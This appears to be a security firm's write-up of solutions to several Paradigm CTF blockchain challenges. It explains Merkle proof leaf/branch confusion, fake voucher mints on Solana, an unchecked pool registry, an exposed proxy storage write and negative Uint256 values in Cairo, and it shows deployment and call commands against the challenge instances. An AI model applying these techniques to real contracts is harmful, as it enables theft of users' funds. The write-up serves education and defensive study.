If we look closely on the the keccak256() functions on the MerkleDistributor contract and the MerkleProof contract, we can smell something fishy from here.

contracts/MerkleDistributor.sol
contracts/MerkleProof.sol

The challenge uses the abi.encodePacked() function on both MerkleDistributor and MerkleProof contracts. On the MerkleDistributor contract, it takes uint256(index), address(account), and uint96(amount) as arguments. The result from the function will be 32 bytes(uint256) + 20 bytes (address) + 12 bytes (uint96) = 64 bytes.

Likewise, in the MerkleProof contract, the abi.encodePacked() function takes 32 bytes (byte32) + 32 bytes (byte32) and results in 64 bytes output, which the size of the output is “coincidentally” the same as the MerkleDistributor contract.

So, we can split two concatenated proofs into the size of uint256(index), address(account), uint96(amount) as arguments and pass them into the claim() function. The verifying function cannot distinguish between the leaf node and the branch node of the tree and the verifying function should be success.

If we can find a combination of index, address, and amount that is included in the Merkle tree and the amount can be sum with other claims to be exactly the same as the total reward, we can solve this challenge.

We wrote a solver in Go to find the node that matches our conditions above.

merkledrop-solver/main.go
merkledrop-solver/main.go

After running the solver, we got the answer that we are looking for. We have to claim two times. In the first time, we have to claim with the following values:

  • index: 0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442
  • account: 0x000000000000000000000000d48451c19959e2d9bd4e620fbe88aa5f6f7ea72a
  • amount: 0xf40f0c122ae08d2207b
  • proofs: [0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d, 0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde, 0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813, 0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c, 0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5]

The index parameter will be the first proof (the first 32 bytes) and the account will be the first 20 bytes of the second proof and amount will be the last 12 bytes of the second proof.

$ go build
$ ./merkledrop-solver
[+] Found a good node that can be used
Raw Node: d43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442d48451c19959e2d9bd4e620fbe88aa5f6f7ea72a00000f40f0c122ae08d2207b
Index: 0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442
Account: 0x000000000000000000000000d48451c19959e2d9bd4e620fbe88aa5f6f7ea72a
Amount: 0xf40f0c122ae08d2207b
Proof: [0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d 0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde 0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813 0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c 0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5]
[*] SubsetSum has been found (please claim the following)
Index: 8
Account: 0x249934e4C5b838F920883a9f3ceC255C0aB3f827
Amount: 0xa0d154c64a300ddf85
Proof: [0xe10102068cab128ad732ed1a8f53922f78f0acdca6aa82a072e02a77d343be00 0xd779d1890bba630ee282997e511c09575fae6af79d88ae89a7a850a3eb2876b3 0x46b46a28fab615ab202ace89e215576e28ed0ee55f5f6b5e36d7ce9b0d1feda2 0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a 0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c 0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5]
-------------------------------------------------------------

This diagram is part of the Merkle tree verification when we are claiming the claim at index 37.

This diagram is part of the Merkle tree verification when we are using 0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442 as the index value, 0xd48451c19959e2d9bd4e620fbe88aa5f6f7ea72a as the account value and 0xf40f0c122ae08d2207b as the amount value. The path of the calculation will eventually get 0x225de26d438b50d8... like we had done with the valid claim data on the previous diagram.

We wrote an exploit contract to call the claim function using the data we got.

contracts/Exploit.sol

We then started the challenge instance by connecting to the server.

$ nc 35.188.148.32 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d5884e69a227beb9073e19e
your private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: 8115689c-c95d-4c80-8193-77a2baa2649c
rpc endpoint: http://35.188.148.32:8545/8115689c-c95d-4c80-8193-77a2baa2649c
private key: 0x7f084c692be8719350ff7bcbe48565d21c1f4e6212df84a11680e4ba7723178a
setup contract: 0x5813ba57FedC9d79348E4D596BeE61842f2101A9

After that, the Exploit contract was deployed.

$ forge create --rpc-url http://35.188.148.32:8545/8115689c-c95d-4c80-8193-77a2baa2649c --private-key 0x7f084c692be8719350ff7bcbe48565d21c1f4e6212df84a11680e4ba7723178a contracts/Exploit.sol:Exploit
[⠢] Compiling...
No files changed, compilation skipped
Deployer: 0xA5D642447Ff6d8Cc08B07FBc2aede0117b05afa8
Deployed to: 0xDed2fA947ddD29B2da4dC5921a0D8bD0A0b4C53c
Transaction hash: 0xcb30e8c293a665788412b6719a2240ff9116b55fb1a676dd1ac13cfef2ee0f20

We called the merkleDistributor() function of the Setup contract to get the address of the MerkleDistributor contract.

$ cast call --rpc-url http://35.188.148.32:8545/8115689c-c95d-4c80-8193-77a2baa2649c --private-key 0x7f084c692be8719350ff7bcbe48565d21c1f4e6212df84a11680e4ba7723178a 0x5813ba57FedC9d79348E4D596BeE61842f2101A9 "merkleDistributor()"
0x00000000000000000000000041daeba481da7cfaf2975439551cc784d35ce784

The exploit() function was then called using the address of the distributor contract.

cast send  --rpc-url http://35.188.148.32:8545/8115689c-c95d-4c80-8193-77a2baa2649c --private-key 0x7f084c692be8719350ff7bcbe48565d21c1f4e6212df84a11680e4ba7723178a 0xDed2fA947ddD29B2da4dC5921a0D8bD0A0b4C53c "exploit(address)" -- 0x41daeba481da7cfaf2975439551cc784d35ce784

Lastly, we connected to the server again to get the flag.

$ nc 35.188.148.32 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d5884e69a227beb9073e19e
PCTF{N1C3_Pr00F_8r0}

Flag: PCTF{N1C3_Pr00F_8r0}

Solana

OTTER-WORLD

CHALLENGE: OTTER-WORLD
AUTHOR: NotDeGhost
TAGS: SANITY-CHECK
DESCRIPTION: Otter World!
ACCESS: nc 34.72.24.70 8080
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/otter-world.tar.gz

This challenge is a sanity check Solana challenge.

main.rs

What you need to do is to call the get_flag() function with the correct value for the magic parameter, which is specified in the contract as 0x1337 * 0x7331.

The challenge has already provided a template for the solution program as follows:

client/framework-solve/solve/programs/solve/src/lib.rs

As annotated with /* TODO */ at line 22, we can add * 0x7331 to match the value in the challenge as follows:

client/framework-solve/solve/programs/solve/src/lib.rs

The IP address of the server should be modified to match the challenge provided server in the following file:

client/framework-solve/src/main.rs

The script can then be started using the script provided as follows:

$ ./run.sh
...
congrats!
flag: "PCTF{0tt3r_w0r1d_8c01j3}"

Flag: PCTF{0tt3r_w0r1d_8c01j3}

SOLHANA-1

CHALLENGE: SOLHANA-1
AUTHOR: hana (@dumbcontract2)
TAGS: PWN
DESCRIPTION: theres a brand new ponzi scheme in town that lets people deposit and withdraw their bitcoin. why would they want to do this? no one knows
ACCESS: nc 35.188.83.0 3000
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/solhana-ctf.tar.gz

From the zip file, it provides the source code of the server that will verify whether the provided account state is correct or not in order to retrieve the flag.

File Structure

  • chain/: A source code of the challenges’ programs. This is where we observe how the program works and analyze the vulnerabilities
  • client/: A skeleton code for you to craft the magic in the attack() function
  • elf/: built bpf binaries of all challenges’ programs. This can be used to test locally via solana-test-validator node
  • server/: A built program to communicate with the server. There is no need to configuration here unless you want to test it in local.

SOLHANA-1 challenge is a platform that allows the user to deposit and withdraw token through the platform.

server/src/challenge.rs

The condition to retrieve the flag of this problem is to make the deposit_account account has 0 balance.

server/src/challenge.rs

During the challenge initialization, 10 Bitcoin is minted to Satoshi, which is then deposited into the deposit_account account through the deposit() function.

Therefore, the goal is to remove these 10 Bitcoin from this funded deposit_account account.

Let’s check what the program’s functionalities offer to the users.

chain/programs/challenge1/src/lib.rs
  • setup_for_player() — create a state account which is a root of trusted account of the platform
  • deposit() — deposit token from the depositor account to the deposit account and mint the voucher token to the depositor_voucher account.
  • withdraw() — withdraw the deposited token from the deposit account to the depositor account and burn the voucher token from the depositor_voucher account.

This means if we want to make the balance of that account to be 0, we can either make it through the deposit() and the withdraw() function.

The requirement is that the user who withdraws must have the voucher to be burned during the withdrawal. Unfortunately, in the setup, there is no voucher minted to the users.

What if we create a fake token mint and fake token account and use it as the voucher to fulfill the withdraw() function’s condition?

Let’s check the account verification mechanism whether the attack scenario is possible or not.

chain/programs/challenge1/src/lib.rs

The program only verifies whether the voucher_mint account has the mint::authority = state and token::decimals = deposit_mint.decimals.

Therefore, what we need to do to attack is as follows:
1. Create a fake mint program with the same token decimal as Bitcoin (6 decimals)
2. Mint at least 10 vouchers to the player’s fake voucher account to match the balance we need to burn on the withdrawal
3. Transfer the account authority to the `state` account
4. Withdraw from the `deposit_account` account using the fake voucher created

The attack script is as follows:

challenge1.js

We run the script and got the flag.

win! your flag is: PCTF{unsafe_voucher_vouched_vouchsafely}

Flag: PCTF{unsafe_voucher_vouched_vouchsafely}

SOLHANA-2 (Solved Locally)

CHALLENGE: SOLHANA-2
AUTHOR: hana (@dumbcontract2)
TAGS: PWN
DESCRIPTION: theres a brand new ponzi scheme in town that lets people deposit and withdraw their ethereum. why would they want to do this? no one knows
ACCESS: nc 35.188.83.0 3000
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/solhana-ctf.tar.gz

SOLHANA-2 is like SOLHANA-1, but with the liquidity pool and swap features (like AMM) added.

This issue is solved locally, but failed when submitted. Therefore, the detail might be incorrect (which is the reason while it failed), but might give you the idea.

The condition to retrieve the flag of this problem is to make the token amount of those 3 pools to be at maximum 150_000_000

server/src/challenge.rs

During setup, the challenge comes with the 3 liquidity token pools for swapping, which are wo_eth (8 decimals), so_eth (6 decimals), and st_eth (8 decimals) pools with the balance of 100_000_000 for each account. And for the player, there is also an initial balance for swapping to which are 1_000 for each account.

server/src/challenge.rs
server/src/challenge.rs

So, let’s take a look at the added functionalities — add_pool() and swap().

add_pool() function

It assign the new added pool to the pool array of the state account without verifying whether it overwrites the existing one or not. So, this could be used to do something fancy.

swap() function
Swap struct

This function validates the token amount in case the token input and token output apply different decimals. The passed pool account must exist on pool array of the state account. Then, it transfer the token input to the pool token account and transfer the token output from the pool token account to the user in return.

We think you see the attack scenario now. What if we call add_pool() with the fake token mint (8 decimals) to make it exist in the state account. And then just simply swap that fake token with the balance that we just mint it to the player with the wo_eth ( 8 decimals) and st_eth (8 decimals) tokens, draining the balance of the required accounts. So the sum of the balances of all required accounts will be 100_000_000 which is less than 150_000_000, allowing us to pass the challenge condition.

Below is the attack script that pass the local test.

challenge2.js
challenge2.js

Unfortunately, we could not find out why our solution was not working remotely on the challenge server. 🙁

Cairo

RIDDLE-OF-THE-SPHINX

CHALLENGE: RIDDLE-OF-THE-SPHINX
DESCRIPTION: What walks on four legs in the morning, two legs in the afternoon, three legs in the evening, and no legs at night?
ACCESS: nc 35.193.19.12 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/riddle-of-the-sphinx.zip

This is a sanity check Cairo (Starknet) challenge.

riddle.cairo
chal.py

To solve this challenge, we need to set the _solution state to “man” (0x6d616e) as checked in chal.py.

We started an instance and wrote a script to invoke the solve() function by with 0x6d616e as a parameter.

$ nc 35.193.19.12 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b
[+] deploying riddle
your private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: b05e6d76-d572-4fe6-9d91-8c13e9ec39f7
rpc endpoint: http://b05e6d76-d572-4fe6-9d91-8c13e9ec39f7@35.193.19.12:5050
private key: 0x5544e5e246a2527f6d7ab7dabdcf24cd
contract: 0x51c0e03e96c6a8073c5a83b4975c0a6b801e72cc466e0a0b73f63832238e836
solveRiddle.py

We then run our script and connected to the server to get the flag.

$ python3 solveRiddle.py
$ nc 35.193.19.12 31337
running until complete
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d588ae2813b78a39574ed9a30ef1a
PCTF{600D_1UCK_H4V3_FUN}

Flag: PCTF{600D_1UCK_H4V3_FUN}

CAIRO-PROXY

CHALLENGE: CAIRO-PROXY
DESCRIPTION: Just a simple proxy contract
ACCESS: nc 35.226.167.223 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/cairo-proxy.zip

In this challenge, three Cairo files were given:

  • almost_erc20.cairo: a simple implementation of ERC-20 token
  • proxy.cairo: a proxy contract that calls the function from the implementation through the fallback function
  • utils.cairo: utility contract for reading and writing state
proxy.cairo

However, when we compile the contract, we can see that the auth_write_storage() function is also imported, allowing arbitrary write to any storage address.

$ starknet-compile proxy.cairo --output proxy_compiled.json --abi proxy_abi.json
proxy_abi.json

From chal.py, our goal is to set the balance of the player account to 50000e18.

chal.py

Therefore, we started the challenge instance and wrote a script to call auth_write_storage() to set the player balance as 50000e18.

$ nc 35.226.167.223 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b
[+] deploying erc20
[+] deploying proxy
[+] initializing contracts
your private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: ad90e214-daa1-4d8a-84a7-07d5e19cbb88
rpc endpoint: http://ad90e214-daa1-4d8a-84a7-07d5e19cbb88@35.226.167.223:5050
private key: 0xb9ead7dbeea0bc762872eb4151beb545
contract: 0x4a1002d5de3333850793db0d87b2f129f9363981dbd29b0c96d38c7b71d1d6c
solveCairoProxy.py

The script was run and we connected to the server to get the flag.

$ python3 solveCairoProxy.py
Done!
$ nc 35.226.167.223 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b
PCTF{d3f4u17_pu811c_5721k35_4941n}

Flag: PCTF{d3f4u17_pu811c_5721k35_4941n}

CAIRO-AUCTION

CHALLENGE: CAIRO-AUCTION
AUTHOR: BitBaseBit, and Mauricio Perdomo
TAGS: PWN
DESCRIPTION: Just a simple auction contract
ACCESS: nc 34.132.254.35 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/cairo-auction.zip

nc 34.132.254.35 31337
running until complete
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d588ae2813b78a39574ed9a30ef1a
[+] deploying erc20
[+] deploying auction
[+] initializing contracts
your private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: be377312-17e7-46f0-9ca3-441954bf8fb4
rpc endpoint: http://be377312-17e7-46f0-9ca3-441954bf8fb4@34.132.254.35:5050
private key: 0x4a854d8b84ad09278aa8ecb7a156062e
contract: 0x7f76a540c6f4984db2b292cbfb49573c2765fb9076d61ff82225e536df1e912

In this challenge, the goal is to win the auction by outbidding the winner. From chal.py, there were two other bidders that have bid for 100000e6, while the player has only 50000e6 tokens.

chal.py

The raise_bid() function requires that the latest bid amount is over the winning bid to change the winner.

auction.cairo

While the unlock_funds() function can be used to unlock the funds by deducting the _auctionBalances.

auction.cairo

However, as Uint256 in Cairo is as struct composed of two felts (https://github.com/starkware-libs/cairo-lang/blob/master/src/starkware/cairo/common/uint256.cairo#L9-L14), it is possible to contains a negative value if not checked properly.

We started the instance and wrote our script to unlock our funds with -100000000001 in order to increase _auctionBalances to be 1 higher than the winning bid. Then raise the bid with 0, since our balance will already be higher than the winning bid. To get that value, we subtract 100000000001 from the max value of felt (2**251+17*2**192+1) and set it to the low bits.

$ nc 34.132.254.35 31337
running until complete
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d588ae2813b78a39574ed9a30ef1a
[+] deploying erc20
[+] deploying auction
[+] creating bidders
[+] initializing contracts
your private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: be377312-17e7-46f0-9ca3-441954bf8fb4
rpc endpoint: http://be377312-17e7-46f0-9ca3-441954bf8fb4@34.132.254.35:5050
private key: 0x4a854d8b84ad09278aa8ecb7a156062e
contract: 0x7f76a540c6f4984db2b292cbfb49573c2765fb9076d61ff82225e536df1e912
solveCairoAuction.py

We ran our script, and was able to get the flag from the server successfully.

$ python3 solveCairoAuction.py
http://be377312-17e7-46f0-9ca3-441954bf8fb4@34.132.254.35:5050
StarknetChainId.TESTNET
player_address: 0x333c1ba254694947951f100334179aae6d42eb4d216d7de459e64b6c1668a35
My Auction Balance: Result(balance=0)
Current Winner: 0x4b855e8f7aaa622adf4d7c0af1d13cfc0ff6c7b97450b527172e17a600ac227
Current Winner Auction Balance: Result(balance=100000000000)
Unlock negative
My Auction Balance: Result(balance=100000000001)
Raise bid
My Auction Balance: Result(balance=100000000001)
Current Winner: 0x333c1ba254694947951f100334179aae6d42eb4d216d7de459e64b6c1668a35
Current Winner Auction Balance: Result(balance=100000000001)
$ nc 34.132.254.35 31337
running until complete
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d588ae2813b78a39574ed9a30ef1a
PCTF{y0u_7h0u9h7_17_w45_4_p21m171v3_7yp3_8u7_17_w45_m3_d10}

Flag: PCTF{y0u_7h0u9h7_17_w45_4_p21m171v3_7yp3_8u7_17_w45_m3_d10}

About Inspex

Inspex is formed by a team of cybersecurity experts highly experienced in various fields of cybersecurity. We provide blockchain and smart contract professional services at the highest quality to enhance the security of our clients and the overall blockchain ecosystem.

For any business inquiries, please contact us via Twitter, Telegram, contact@inspex.co

--

--

Inspex

Cybersecurity professional service, specialized in blockchain and smart contract auditing https://twitter.com/InspexCo